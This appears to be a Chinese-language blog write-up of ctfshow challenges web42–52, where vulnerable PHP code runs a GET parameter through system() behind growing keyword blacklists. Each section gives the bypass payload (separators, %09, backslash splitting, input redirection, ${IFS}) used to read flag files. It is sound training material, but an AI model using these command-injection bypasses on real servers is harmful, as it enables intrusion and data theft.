ctfshow web42-52

慢慢打基础

Published
Reading
1 min
Category
CTF
Tags
rcebypassctfshowphp
On this page
  1. web42
  2. web43
  3. web44
  4. web45
  5. web46
  6. web47
  7. web48
  8. web49
  9. web50
  10. web51
  11. web52

web42

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}
  • >/dev/null: 将标准输出(stdout)重定向到“黑洞”设备,即不显示任何正常结果。

  • 2>&1: 将标准错误(stderr)也重定向到标准输出,由于标准输出已经进了黑洞,意味着错误信息也不会显示。

所以我们只需用 ; ,将后面重定向的部分截断

?c=tac flag.php;

web43

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了分号和cat;

同时要把system里的>/dev/null 2>&1截断,可以用|| , & , &&

?c=tac fla* ||

web44

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

?c=tac fla* ||

web45

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了空格,可以使用制表符%09

?c=tac%09fla*||

web46

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

对数字也做了过滤

?c=tac<fl\ag.php||

或者

?c=tac<fla''g.php||

<:是输入重定向符

\:是转义符,执行时 fl\ag 等同于 flag

'':相邻的引号会被忽略

web47

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

?c=tac<fl\ag.php||

web48

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

?c=tac<fl\ag.php||

web49

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

?c=tac<fl\ag.php||

web50

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

?c=tac<fl\ag.php||

web51

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了tac,跟flag一样,用 \ 绕过,或者使用 nl

?c=ta\c<fl\ag.php||

web52

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

不能使用重定向符了,那还可以使用${IFS}

  • ${IFS}: 这是一个 Shell 环境变量(Internal Field Separator),默认包含空格、制表符和换行符。在过滤了空格的情况下,常用于替代空格来分隔命令参数。

?c=ta\c${IFS}fl\ag.php||

访问结果不是真正的flag,还要我们继续找

image-20260220170820988

先看一下根目录

?c=ls${IFS}/||

image-20260220171057386

有个flag目录,访问后就得到flag了

?c=ta\c${IFS}/fl\ag||

Author
YU030X
Published

Images are sourced from the internet. Please contact me for removal if necessary.

Comments

Type to search posts and pages.

K to open · esc to closeSearch by Pagefind